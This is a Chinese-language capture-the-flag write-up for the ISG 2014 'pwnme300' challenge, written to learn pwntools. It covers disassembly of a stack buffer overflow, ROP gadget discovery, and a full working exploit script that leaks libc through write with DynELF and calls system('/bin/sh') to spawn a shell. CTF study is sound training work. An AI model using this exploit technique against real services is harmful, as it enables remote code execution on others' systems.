isg2014-pwnme300

2015年10月14日

温习这个题目是为了学习pwntools

Dump of assembler code from 0x4005bd to 0x400621:
   0x00000000004005bd:	55	push   %rbp
   0x00000000004005be:	48 89 e5	mov    %rsp,%rbp
   0x00000000004005c1:	48 83 ec 10	sub    $0x10,%rsp
   0x00000000004005c5:	bf 3c 00 00 00	mov    $0x3c,%edi
   0x00000000004005ca:	e8 c1 fe ff ff	callq  0x400490 <alarm@plt>
   0x00000000004005cf:	ba 13 00 00 00	mov    $0x13,%edx
   0x00000000004005d4:	be 84 06 40 00	mov    $0x400684,%esi
   0x00000000004005d9:	bf 01 00 00 00	mov    $0x1,%edi
   0x00000000004005de:	e8 9d fe ff ff	callq  0x400480 <write@plt>
   0x00000000004005e3:	48 8d 45 f0	lea    -0x10(%rbp),%rax
   0x00000000004005e7:	ba 00 01 00 00	mov    $0x100,%edx
   0x00000000004005ec:	48 89 c6	mov    %rax,%rsi
   0x00000000004005ef:	bf 00 00 00 00	mov    $0x0,%edi
   0x00000000004005f4:	e8 a7 fe ff ff	callq  0x4004a0 <read@plt>
   0x00000000004005f9:	b8 00 00 00 00	mov    $0x0,%eax
   0x00000000004005fe:	c9	leaveq 
   0x00000000004005ff:	c3	retq   

漏洞非常明显,考验利用。

寻找rop

>>> from pwn import *
>>> elf = ELF('/ctf/pwnme')
[*] '/ctf/pwnme'
    Arch:          amd64-64-little
    RELRO:         Partial RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
>>> rop = ROP(elf)
[*] Loading gadgets for '/ctf/pwnme' @ 0x400000
>>> rop.rdi
(4195939L, {'insns': ['pop rdi', 'ret'], 'move': 16, 'regs': ['rdi']})
>>> hex(4195939)
'0x400663'
>>> rop.rsi
(4195937L, {'insns': ['pop rsi', 'pop r15', 'ret'], 'move': 24, 'regs': ['rsi', 'r15']})

利用代码

from pwn import *

#p = process('/ctf/pwnme')		# pwnme 是一个控制台程序。 pwn强大在统一输入输出接口
p = remote('127.0.0.1', 1111)	# nc -l -p 1111 -e /ctf/pwnme

rop_rdi = 0x400663
rop_rsi = 0x400661
read_plt = 0x4004a0
write_plt = 0x400480
read_got_plt = 0x601028
write_got_plt = 0x601018
seg_data = 0x601040
main = 0x4005bd

def leak(addr):
	p.readline()
	payload = 'A'*24 + p64(rop_rdi) + p64(1) + p64(rop_rsi) + p64(addr)*2 + \
				p64(write_plt) + p64(main)
	p.send(payload.ljust(0x100, 'A'))
	ret = p.recv(0x100)
	print hex(addr), len(ret)
	return ret

d = DynELF(leak, main)	
#d = DynELF(leak, main, elf = ELF('/ctf/pwnme'))
#libc = d.lookup(None, 'libc')
system = d.lookup('system', 'libc')
#print "%x" % libc
log.success("%x" % system)

p.readline()
payload = 'A'*24 + p64(rop_rdi) + p64(0) + p64(rop_rsi) + p64(seg_data)*2 + \
			p64(read_plt) + p64(main)
p.send(payload.ljust(0x100, 'A'))
p.send('/bin/sh\x00')

p.readline()
payload = 'A'*24 + p64(rop_rdi) + p64(seg_data) + p64(system)
p.send(payload)

p.interactive()